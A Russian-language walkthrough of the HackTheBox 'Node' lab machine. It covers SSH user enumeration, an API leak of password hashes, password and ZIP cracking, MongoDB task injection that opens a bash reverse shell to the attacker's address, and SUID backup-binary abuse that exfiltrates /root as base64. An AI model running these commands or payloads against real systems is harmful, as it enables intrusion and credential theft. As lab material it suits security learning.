> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Разбор Node на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Навыки:**

* Утечка информации
* Перечисление API
* Взлом хэшей
* Взлом ZIP-файла
* Загрузка резервной копии — сохранённые учетные данные
* Перечисление MongoDB
* Инъекция в задачу Mongo — инъекция команд (переключение на другого пользователя)
* Эксплуатация SUID-бинарника резервной копии — динамический анализ
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/25d6fb81e8683272b91c5bc84fb43da49e9829fb" alt=""><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/01b927f7d874498df5787139bddb495536b5c7e9" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="/files/045a6965175636aecb9e05498c0f129587a32b19" alt=""><figcaption></figcaption></figure>

/*/Анализ открытых портов с extractPorts (22.3000) //*

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/86d155f8409aaf3b5d034d549a6e5cac99e6b8cd" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="/files/0571a371e8c224f471c4cedc37dc32b87d0659ae" alt=""><figcaption></figcaption></figure>

### **Порт 22 — SSH**

Мы замечаем, что версия уязвима к перечислению пользователей, поскольку она ниже версии 7.7. Это позволяет попробовать список пользователей.

Используя `searchsploit` чтобы найти эксплойт

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/afa33e42ce58cdfb0bd26fcdaaad84e814b79f13" alt=""><figcaption></figcaption></figure>

Мы используем этот эксплойт, чтобы проверить, является ли пользователь действительным:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="/files/dafa3d1b390d7c4114a8249058b53f5bf7e00153" alt=""><figcaption></figcaption></figure>

## Порт 3000 — HTTP

Мы находим нескольких потенциальных пользователей: `tom`, `mark`, `rastating`.

<figure><img src="/files/814bdcb34d1f6c7dd640a1f4b3723fb33803e74d" alt=""><figcaption></figcaption></figure>

Перечисление SSH с помощью `45939.py` чтобы проверить пользователей:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Мы замечаем, что `tom` и `mark` являются действительными пользователями.

<figure><img src="/files/7122e07cfed064439adf9c1604c2f66f09068ced" alt=""><figcaption></figcaption></figure>

### Список каталогов:

Мы используем `gobuster` для перечисления каталогов на порту 3000:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Никакой интересной информации найдено не было. Однако, исследуя сетевые запросы в Firefox, мы находим `последний` файл, который вызывает API.

<figure><img src="/files/4529b16df54840ddb0ce9e7bc21dc2be8e635036" alt=""><figcaption></figcaption></figure>

### Изучение API:

API содержит `/users` маршрут, который возвращает конфиденциальную информацию, включая хэши паролей нескольких пользователей:

<figure><img src="/files/fa0cc31f5b1868f1af7961323d661e86f11c8bef" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="/files/8e524c72a1b59db2a50d7809fc0d176c29110289" alt=""><figcaption></figcaption></figure>

### Взлом паролей:

Мы используем `crackstation` чтобы взломать пароли пользователей.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/785f8f4cc629a1a5535e73258ced0bc71420e470" alt=""><figcaption></figcaption></figure>

Расшифрованные пароли следующие:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="/files/5b1df876f5c5e24915fc21b6e3194a766c96a020" alt=""><figcaption></figcaption></figure>

Нам удаётся подключиться под пользователем `myP14ceAdm1nAcc0uNT` в панели администратора.

<figure><img src="/files/62d1387aacb5f20b6806d051774364c471701c25" alt=""><figcaption></figcaption></figure>

### Загрузка резервной копии:

У `myP14ceAdm1nAcc0uNT` пользователь позволяет нам скачать файл резервной копии.

<figure><img src="/files/ef10f543f7c01a15c80402d38f087b7f2737c2eb" alt=""><figcaption></figcaption></figure>

Скачанный файл содержит строку Base64.

<figure><img src="/files/8622076c759363a96f69e544b6dddd07ba63420e" alt=""><figcaption></figcaption></figure>

Мы декодируем её в ZIP-файл:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="/files/1c855e5256b5d9c914e94930a3b1dc2dcbc9654b" alt=""><figcaption></figcaption></figure>

### Брутфорс ZIP-файла:

**Извлечь хэш с помощью `zip2john`**:

Поэтому мы используем zip2john, чтобы извлечь хэш

```bash
zip2john myplace.zip > hash
```

<figure><img src="/files/71f63093b70cdb874962982ab2fe174081f9fb67" alt=""><figcaption></figcaption></figure>

**Подбор пароля с помощью `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Результат**: Пароль найден — `magicword`

<figure><img src="/files/79709bdd5ad92602a72bfc0143241b8dd2310a32" alt=""><figcaption></figcaption></figure>

Нам удаётся распаковать ZIP-файл, который содержит резервную копию сайта в `/var` каталог.

<figure><img src="/files/037e32e668a0ca52d49dd42f81d8a372966a020e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/94fecc0f9f66eec24c26e722af50b48a4bda467b" alt=""><figcaption></figcaption></figure>

### Изучение `app.js`:

В `app.js` файла мы находим конфиденциальную информацию, включая пользователя (`mark`) и связанный пароль для доступа к базе данных:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="/files/c7689b67b480af90ea723a477f91f78553d42ea5" alt=""><figcaption></figcaption></figure>

#### SSH-подключение с помощью `mark`:

Мы используем восстановленную информацию, чтобы подключиться по SSH под пользователем `mark`:

```bash
ssh mark@10.10.10.58 
```

Пароль: `5AYRft73VtFpc84k`

Теперь у нас есть доступ к целевой машине.

<figure><img src="/files/e42fd48b97a8f59d65bb345e7b412ea9e3f2b38f" alt=""><figcaption></figcaption></figure>

## Переход на пользователя Tom

Теперь нам нужно переключиться на пользователя **tom**.

<figure><img src="/files/3a6c53f6bd9aac5a038c97157f919d3586b3993b" alt=""><figcaption></figcaption></figure>

### Подключение к базе MongoDB

Просматривая текущие процессы, мы замечаем, что **tom** запускает `app.js` файл на Node.js.

<figure><img src="/files/36d8fdec70d367a9faf755ac95f3d8d5f3ed07ae" alt=""><figcaption></figcaption></figure>

Этот файл подключается к `scheduler` базе данных, используя те же учётные данные, что и пользователь **mark**.

<figure><img src="/files/1b91277c86fedd1d4cc0ec645ae1effe505b3e05" alt=""><figcaption></figcaption></figure>

Чтобы получить доступ к базе данных, мы используем **mark** учётные данные:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="/files/a876e7684691ecb913ebae49efd6fdbe3e57d6dc" alt=""><figcaption></figcaption></figure>

### Обратная оболочка MongoDB

У `app.js` скрипт выполняет системные команды из документов MongoDB (через `doc.cmd`). Это представляет собой критическую уязвимость, поскольку можно внедрять и выполнять произвольные команды.

<figure><img src="/files/bdd300e8e667663c518d3a4ee9f4aa1ed3eec557" alt=""><figcaption></figcaption></figure>

Чтобы подтвердить, что мы можем выполнять команды через MongoDB

**Создайте локальный веб-сервер**

На атакующей машине запустите веб-сервер для наблюдения за запросами:

```bash
python3 -m http.server 80
```

**Вставьте тестовую команду в `tasks` коллекцию**

В MongoDB вставьте команду, которая выполняет HTTP-запрос к вашей атакующей машине

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Наблюдайте за запросами**

Если вы видите запрос в журналах веб-сервера, это подтверждает, что команды выполняются.

<figure><img src="/files/220fcb643a6b07bc78692a95fb96c6c7ba648268" alt=""><figcaption></figcaption></figure>

Запустите обратную оболочку.

переходим в режим прослушивания на порту 443

```bash
nc -nlvp 443
```

#### Запуск обратной оболочки

**Настроить прослушивание на порту 443** На атакующей машине:

```bash
nc -nlvp 443
```

**Вставьте команду для обратной оболочки**

В MongoDB вставьте команду для установления обратной оболочки:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Успешное подключение** После выполнения команды вы получаете интерактивную оболочку на целевой машине под пользователем **tom**.

<figure><img src="/files/e2573fb6c9b99f08ae9120cadf0cfc0cf145c909" alt=""><figcaption></figcaption></figure>

#### Стабилизация терминала

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="/files/3f5721fe0f391586d10b9962d8474e8ac6c36583" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### SUID-бинарник (резервная копия)

Для поиска файлов с установленным битом SUID используется следующая команда:

```bash
find / -perm -4000 2>/dev/null
```

Это позволяет нам найти бинарник под названием `backup`.

<figure><img src="/files/81c2d91718a15b74d93f20c4c2b4389eb1328b67" alt=""><figcaption></figcaption></figure>

Владельцем бинарника является `root`, что означает, что он запускается с привилегиями пользователя root.

<figure><img src="/files/871918878028e90f848041dced6e582b1d317847" alt=""><figcaption></figcaption></figure>

Когда мы пытаемся запустить этот бинарник напрямую, ничего не происходит. Однако, протестировав разные варианты, мы обнаруживаем, что он принимает строку из трёх символов, разделённых пробелами, что раскрывает доступные функции:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/2293292b2c96426eb7b18c4e21746d01f06c1ce5" alt=""><figcaption></figcaption></figure>

Посмотрев на `app.js` файл, мы находим информацию об использовании бинарника, а также ключ, необходимый для его запуска. Ключ находится в верхней части файла.

<figure><img src="/files/328a1600f74a33e1ab88b14c2a194f4482921db2" alt=""><figcaption></figcaption></figure>

Чтобы использовать бинарник, нам нужно указать ключ, а затем путь к каталогу для сохранения.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/b5721b34ad9fbda315874474097ac41f9a075feb" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Это генерирует вывод в Base64.

<figure><img src="/files/385d65fe49c0b12bd3d890cfe6c84f6178da71ee" alt=""><figcaption></figcaption></figure>

Вывод Base64 можно декодировать в `.zip` файл с помощью следующей команды:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/bbb5af4f2a17a09cefd8cc960edf10e3ad4e232d" alt=""><figcaption></figcaption></figure>

ZIP-архив защищён паролем. Мы используем ранее найденный пароль

* пароль: `magicword`

Однако, `root.txt` файл, содержащийся в архиве, — это приманка (rabbit hole).

<figure><img src="/files/e6839ab3b33836e8aebb6542aa18d7a8a5bc20f7" alt=""><figcaption></figcaption></figure>

### Подробный анализ с помощью `ltrace`

Используя `ltrace`, мы видим, что бинарник сравнивает путь `/root` с указанным в аргументе. Если пути совпадают, он показывает мультяшного тролля.

<figure><img src="/files/03474fda44f2bf36089d0464f257155a7fc8518f" alt=""><figcaption></figcaption></figure>

Чтобы обойти эту проверку, мы запускаем бинарник из корня (`/`) запросив резервную копию `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/fd4221dbb5726cd6d553d2e2723b1c167e8dda61" alt=""><figcaption></figcaption></figure>

Новая версия также закодирована в Base64. Мы декодируем её, чтобы получить итоговое содержимое:

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Флаг root.txt :)

Извлекая итоговый файл, мы получаем доступ к нужному содержимому.

<figure><img src="/files/0f07049733dfdc75db37193d16ba32ca343f4d3f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a04826468521e788d6714a44ac5d9283e05a7cf8" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
